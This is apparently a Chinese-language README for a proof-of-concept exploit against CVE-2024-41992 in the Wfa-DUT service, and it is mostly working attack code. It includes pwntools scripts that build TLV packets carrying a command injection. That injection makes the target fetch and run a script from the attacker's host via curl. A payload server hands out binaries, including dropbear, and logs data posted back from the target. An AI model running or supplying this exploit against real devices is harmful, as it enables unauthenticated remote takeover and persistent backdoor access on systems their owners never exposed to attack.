CVE-2024-41992 漏洞利用工具
该项目是针对 CVE-2024-41992 安全漏洞的概念验证(PoC)利用代码。通过构造特殊的 TLV(Type-Length-Value)协议数据包,攻击者可以向运行 Wfa-DUT 服务的目标设备发送恶意载荷,实现未经认证的远程命令执行(RCE)。
功能特性
- TLV 协议数据包构造:自动生成符合 TLV 格式的恶意数据包
- 远程命令执行:通过注入系统命令实现目标设备上的任意代码执行
- HTTP 载荷服务器:内置简易 HTTP 服务器用于托管攻击载荷
- 多文件支持:支持同时提供多个二进制文件(如
b、dropbear、dropbearkey) - POST 请求日志:记录接收到的 POST 请求数据,便于调试
安装指南
系统要求
- Python 3.6 及以上版本
- 目标设备运行 Wfa-DUT 服务(默认端口 8080)
依赖安装
pip install pwntools
获取代码
git clone https://github.com/your-repo/CVE-2024-41992-PoC.git
cd CVE-2024-41992-PoC
使用说明
1. 启动 HTTP 载荷服务器
在攻击者机器上运行 HTTP 服务器,用于托管恶意载荷文件:
python http_server.py
服务器将在端口 4 上启动,提供以下文件:
/- 文件b(主载荷)/db- 文件dropbear/dbk- 文件dropbearkey
2. 执行远程命令攻击
修改 exploit.py 中的目标信息:
target_ip = '192.168.1.1' # 目标设备IP
target_port = 8080 # Wfa-DUT 服务端口
attacker_ip = '192.168.1.247' # 攻击者机器IP
运行漏洞利用脚本:
python exploit.py
3. 核心代码示例
TLV 数据包构造
from pwn import *
import time
def create_tlv_packet(tag, value):
"""
创建 TLV 格式数据包
tag: 标签值(整数)
value: 载荷数据(字节串)
"""
tag_bytes = p16(tag) # 2字节标签
length_bytes = p16(len(value)) # 2字节长度
tlv_packet = tag_bytes + length_bytes + value
return tlv_packet
def send_tlv_packet(ip, port, packet):
"""
发送 TLV 数据包到目标
返回服务器响应
"""
conn = remote(ip, port)
sent = time.time()
conn.send(packet)
response = conn.recv(8192)
recv = time.time()
print(f"响应时间: {recv-sent} 秒")
conn.close()
return response
HTTP 载荷服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 根据请求路径返回对应文件
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('b', 'rb') as file:
self.wfile.write(file.read())
elif self.path == '/db':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('dropbear', 'rb') as file:
self.wfile.write(file.read())
elif self.path == '/dbk':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('dropbearkey', 'rb') as file:
self.wfile.write(file.read())
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b'File not found')
def do_POST(self):
# 处理 POST 请求并打印接收的数据
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("收到 POST 请求:\n", post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(b'POST request received')
核心代码
漏洞利用主程序
from pwn import *
import time
def create_tlv_packet(tag, value):
"""
创建 TLV 格式数据包
参数:
tag: 标签值(整数)
value: 载荷数据(字节串)
返回:
完整的 TLV 数据包
"""
tag_bytes = p16(tag) # 转换为2字节小端序
length_bytes = p16(len(value)) # 长度字段(2字节)
tlv_packet = tag_bytes + length_bytes + value
return tlv_packet
def send_tlv_packet(ip, port, packet):
"""
通过网络发送 TLV 数据包并接收响应
参数:
ip: 目标IP地址
port: 目标端口
packet: TLV数据包
返回:
服务器响应数据
"""
conn = remote(ip, port)
sent = time.time()
conn.send(packet)
response = conn.recv(8192)
recv = time.time()
print(f"响应接收耗时: {recv-sent} 秒")
conn.close()
return response
if __name__ == "__main__":
# 配置攻击参数
target_ip = '192.168.1.1' # 目标设备IP
target_port = 8080 # Wfa-DUT 服务端口
tag = 2 # TLV 标签
# 构造命令注入载荷(必须小于40字节)
# 该命令将从攻击者服务器下载并执行恶意脚本
value = b'$(sh -c "$(curl 192.168.1.247:4)")111111'
# 创建并发送恶意 TLV 数据包
packet = create_tlv_packet(tag, value)
response = send_tlv_packet(target_ip, target_port, packet)
print("接收到的响应:", response)
HTTP 载荷投递服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
"""自定义 HTTP 请求处理器,用于分发攻击载荷"""
def do_GET(self):
"""处理 GET 请求,根据路径返回对应文件"""
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('b', 'rb') as file:
self.wfile.write(file.read())
elif self.path == '/db':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('dropbear', 'rb') as file:
self.wfile.write(file.read())
elif self.path == '/dbk':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('dropbearkey', 'rb') as file:
self.wfile.write(file.read())
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b'File not found')
def do_POST(self):
"""处理 POST 请求,打印接收到的数据"""
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("收到 POST 请求:\n", post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(b'POST request received')
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=4):
"""启动 HTTP 服务器"""
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'HTTP 服务器已启动,监听端口 {port}...')
httpd.serve_forever()
if __name__ == '__main__':
run()
技术细节
- CVE-2024-41992:该漏洞允许攻击者通过 TLV 协议注入任意系统命令
- 载荷限制:命令字符串必须小于 40 字节,因此采用下载远程脚本的方式执行复杂操作
- 通信协议:使用 TLV(Type-Length-Value)格式进行数据交换,标签和长度字段均为 2 字节小端序
参考资源
- CVE-2024-41992 详细分析(法文) 6HFtX5dABrKlqXeO5PUv/7unzXTpYa3khi/sAzmntr1VJmH9tN0n3MNlWf34LDWL